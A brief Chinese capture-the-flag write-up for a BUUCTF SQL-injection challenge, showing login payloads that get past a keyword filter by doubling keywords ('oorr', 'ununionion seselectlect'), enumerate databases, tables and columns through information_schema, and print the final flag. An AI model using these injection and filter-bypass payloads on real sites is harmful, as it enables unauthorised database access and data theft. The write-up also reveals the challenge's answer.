自从前几次网站被日,我对我的网站做了严格的过滤,你们这些黑客死心吧!!!
尝试登录 admin\'#
,登录成功,但相较于以前做的那个sql题,这个flag铁定错的
[极客大挑战 2019]LoveSQL – buu刷题记录
Your password is \'fd7055ec3060d96f366f2576620868cc\'
尝试万能密码 admin\' or 1=1#
,报错,猜测是关键词拦截了,经过一番测试 select,and,or,from,by
都被过滤了
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near \'1=1#\' and password=\'123456\'\' at line 1
经过双写之后,成功绕过
admin\' oorr 1=1#
然后就是那些语句一路高歌猛进就好
admin\' oorrder bbyy 4#
admin\' oorrder bbyy 3#
-1\' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
-1\' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=\'ctf\'#
-1\' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=\'Flag\'#
-1\' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#
最终flag为flag{6412beef-25f2-464f-adbf-536b39b50721}
THE END
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